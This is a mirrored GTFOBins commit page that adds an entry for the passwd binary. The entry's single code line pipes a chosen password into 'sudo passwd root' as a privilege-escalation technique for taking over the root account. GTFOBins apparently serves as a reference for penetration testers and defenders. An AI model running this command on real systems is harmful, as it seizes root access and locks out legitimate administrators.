mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-20 23:29:23 +02:00
Create passwd.md
Add sudo privilege escalation using passwd binary
This commit is contained in:
7
_gtfobins/passwd.md
Normal file
7
_gtfobins/passwd.md
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
PASS=new_password_here
|
||||||
|
echo -e "$PASS\n$PASS" | sudo passwd root
|
||||||
|
---
|
Reference in New Issue
Block a user